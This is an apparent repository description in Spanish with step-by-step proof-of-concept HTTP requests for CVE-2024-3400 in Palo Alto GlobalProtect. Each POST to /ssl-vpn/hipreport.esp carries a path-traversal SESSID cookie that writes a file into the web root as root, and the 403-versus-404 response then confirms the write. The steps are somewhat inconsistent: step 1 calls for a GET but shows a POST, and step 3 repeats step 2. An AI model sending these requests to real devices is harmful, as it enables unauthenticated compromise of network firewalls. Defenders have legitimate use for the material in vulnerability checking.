0xr2r/cve-2024-3400-palo-alto-os-command-injectionPasos de explotación de prueba de concepto para CVE-2024-3400, que demuestran inyección de comandos no autenticada en Palo Alto GlobalProtect mediante cookies y parámetros de formulario manipulados.
#Pasos :
#1. Verifique si el archivo (0xr2r.txt) está presente en el dispositivo ejecutando la siguiente solicitud get o podemos verificarlo abriendo
https://domain.com/global-protect/portal/images/0xr2r.txt URL en el navegador si obtiene una respuesta 404, eso significa que el archivo no está presente.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
#2. ahora coloque el archivo (0xr2r.txt) en el dispositivo ejecutando la siguiente solicitud post . esto creará el archivo en el dispositivo bajo la ruta dada con acceso root.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
user=0xr2r&portal=0xr2r&authcookie=284ad748-7ce2-4753-a39a-aa381b18cf70&domain=0xr2r&computer=0xr2r&client-ip=0xr2r&client-ipv6=0xr2r&md5-sum=0xr2r&gwHipReportCheck=0xr2r
#3. ahora, si intenta acceder a los archivos, debería recibir 403 en lugar de 404. esto prueba que el archivo (0xr2r.txt) está presente en el dispositivo con acceso root.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: domain.com
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/0xr2r.txt
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
user=0xr2r&portal=0xr2r&authcookie=284ad748-7ce2-4753-a39a-aa381b18cf70&domain=0xr2r&computer=0xr2r&client-ip=0xr2r&client-ipv6=0xr2r&md5-sum=0xr2r&gwHipReportCheck=0xr2r